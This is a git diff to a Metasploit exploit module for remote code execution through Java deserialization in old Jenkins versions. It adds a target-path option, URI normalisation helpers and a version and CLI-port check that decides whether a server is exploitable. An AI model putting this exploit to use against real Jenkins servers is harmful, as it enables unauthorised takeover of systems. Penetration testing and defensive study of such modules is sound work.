diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
index 6478da42f6..c7eec77106 100644
--- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb
+++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
@@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'DefaultTarget' => 0))
 
     register_options([
+      OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
       OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
       Opt::RPORT('8080')
     ], self.class)
@@ -61,19 +62,68 @@ class Metasploit3 < Msf::Exploit::Remote
     invoke_remote_method(class_load_payload)
   end
 
+
+  # This is from the HttpClient mixin. But since this module isn't actually exploiting
+  # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
+  # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
+
+  def target_uri
+    begin
+      # In case TARGETURI is empty, at least we default to '/'
+      u = datastore['TARGETURI']
+      u = "/" if u.nil? or u.empty?
+      URI(u)
+    rescue ::URI::InvalidURIError
+      print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
+      raise Msf::OptionValidateError.new(['TARGETURI'])
+    end
+  end
+
+  def normalize_uri(*strs)
+    new_str = strs * "/"
+
+    new_str = new_str.gsub!("//", "/") while new_str.index("//")
+
+    # Makes sure there's a starting slash
+    unless new_str[0,1] == '/'
+      new_str = '/' + new_str
+    end
+
+    new_str
+  end
+
   def check
     result = Exploit::CheckCode::Safe
 
-    if vulnerable?
-      result = Exploit::CheckCode::Vulnerable
+    begin
+      if vulnerable?
+        result = Exploit::CheckCode::Vulnerable
+      end
+    rescue Msf::Exploit::Failed => e
+      vprint_error(e.message)
+      return Exploit::CheckCode::Unknown
     end
 
     result
   end
 
   def vulnerable?
-    http_headers = send_request_cgi({'uri' => '/'}).headers
-    if http_headers['X-Jenkins'].to_f <= 1.637
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path)
+    })
+
+    unless res
+      fail_with(Failure::Unknown, 'The connection timed out.')
+    end
+
+    http_headers = res.headers
+
+    unless http_headers['X-Jenkins-CLI-Port']
+      vprint_error('The server does not have the CLI port that is needed for exploitation.')
+      return false
+    end
+
+    if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
       @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
       return true
     end